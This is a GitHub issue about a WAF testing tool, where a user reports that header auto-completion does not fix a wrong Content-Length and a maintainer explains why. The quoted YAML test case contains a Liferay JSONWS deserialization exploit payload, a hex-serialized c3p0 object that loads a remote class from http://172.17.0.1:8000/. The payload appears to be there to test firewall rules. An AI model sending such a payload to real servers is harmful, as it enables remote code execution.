Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

autocomplete_headers: true Parameter Ineffective for Test Cases #433

Open
xu-xiang opened this issue Jan 2, 2025 · 1 comment
Open

autocomplete_headers: true Parameter Ineffective for Test Cases #433

xu-xiang opened this issue Jan 2, 2025 · 1 comment

Comments

@xu-xiang
Copy link
Contributor

xu-xiang commented Jan 2, 2025

tests:
    - test_id: 19
      stages:
          - input:
                dest_addr: 127.0.0.1
                method: POST
                port: 80
                headers:
                    Connection: close
                    Content-Length: "1348"
                    Content-Type: application/x-www-form-urlencoded
                    Host: 10.10.3.128
                    User-Agent: OWASP CRS test agent
                uri: /api/jsonws/invoke
                version: HTTP/1.1
                data: |-
                    cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c6966457870740017687474703a2f2f3137322e31372e302e313a383030302f740003466f6f;"}
                autocomplete_headers: true
            output:
                log:
                    no_match_regex: id "\d+"

  1. When the content-length is incorrect in a test case, it causes the test to terminate immediately (even if other parts are normal):
Error: failed sending request to destination &{DestAddr:127.0.0.1 Port:80 Protocol:http}: read tcp 127.0.0.1:60878->127.0.0.1:80: i/o timeout
  1. Adding the autocomplete_headers: true parameter for erroneous test cases appears to be ineffective.
@theseion
Copy link
Collaborator

theseion commented Jan 3, 2025

Header auto completion will only add the content length header if it is missing. Did you remove the erroneous content length header? Also, auto completion is on by default.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants